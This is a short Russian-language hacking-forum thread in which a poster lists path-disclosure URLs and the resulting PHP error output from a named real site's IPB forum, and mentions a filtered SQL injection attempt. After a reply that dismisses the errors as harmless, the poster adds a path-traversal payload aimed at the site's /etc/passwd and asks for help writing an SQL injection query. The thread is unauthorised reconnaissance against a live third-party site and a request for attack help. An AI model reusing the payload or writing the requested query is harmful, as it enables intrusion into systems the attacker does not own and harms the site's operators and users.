Нашел раскрытие путей на форуме IPB 3.0+(версию не определил) Вот собственно и они: 1)http://firecrush.ru/board/ips_kernel/PEAR/Text/Diff3.php 2)http://firecrush.ru/board/ips_kernel/PEAR/Text/Diff/Renderer/inline.php 1) PHP: Warning: require_once(Text/Diff.php) [function.require-once]: failed to open stream: No such file or directory in /home/users1/p/prudence/domains/firecrush.ru/board/ips_kernel/PEAR/Text/Diff3.php on line 17 Fatal error: require_once() [function.require]: Failed opening required 'Text/Diff.php' (include_path='.:/usr/local/lib/php') in /home/users1/p/prudence/domains/firecrush.ru/board/ips_kernel/PEAR/Text/Diff3.php on line 17 2) PHP: Warning: require_once(Text/Diff/Renderer.php) [function.require-once]: failed to open stream: No such file or directory in /home/users1/p/prudence/domains/firecrush.ru/board/ips_kernel/PEAR/Text/Diff/Renderer/inline.php on line 17 Fatal error: require_once() [function.require]: Failed opening required 'Text/Diff/Renderer.php' (include_path='.:/usr/local/lib/php') in /home/users1/p/prudence/domains/firecrush.ru/board/ips_kernel/PEAR/Text/Diff/Renderer/inline.php on line 17 Пытался провести скуль инъекцию фильтрование данных происходит. Однико вопрос возможно ли здесь сделать что нибудь вообще, и вообще можно считать это уязвимостью?
1. где ты пытался провести скуль инъекцию? 2. нет 3. нет нельзя, это обычная ошибка, если нужный пхп файл для работы над данным форумом не находится либо diff3.php поврежден и т.п
http://firecrush.ru/?page=../../../../../../../../../../etc/passwd%00 Но это уже не форум, как я понял надо перебирать стобцы, и можно внедрить скуль код, помогите написать запрос, не могу грамотно его сделать